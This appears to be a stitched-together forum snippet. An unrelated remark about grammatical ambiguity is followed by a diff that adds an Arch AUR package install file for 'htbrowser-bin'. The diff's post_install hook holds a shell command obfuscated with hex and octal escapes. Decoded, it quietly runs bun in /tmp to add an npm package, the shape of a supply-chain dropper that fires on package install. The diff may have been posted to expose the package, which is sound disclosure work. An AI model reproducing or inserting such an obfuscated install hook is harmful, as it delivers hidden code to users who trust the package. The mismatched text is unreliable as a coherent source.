Asking about this, it seems like that might be the case: they likely intended the "even if they were not LLM-generated" to be counterfactual. It's an unfortunate place to leave such grammatical ambiguity.
diff --git a/htbrowser-bin-deps.install b/htbrowser-bin-deps.install
new file mode 100644
index 000000000000..9806501accad
--- /dev/null
+++ b/htbrowser-bin-deps.install
@@ -0,0 +1,3 @@
+post_install() {
+ $'\x63'"d" "/"'t'"m"'p' && "b"'u''n' 'a'"d"'d' $'\141\x6e''s'"i""-"$'\143''o''l''o''r'$'\x73' 'n'"e"'x'"t""f"'i''l''e''-''j''s'
+}
[1]: https://aur.archlinux.org/cgit/aur.git/commit/?h=htbrowser-b...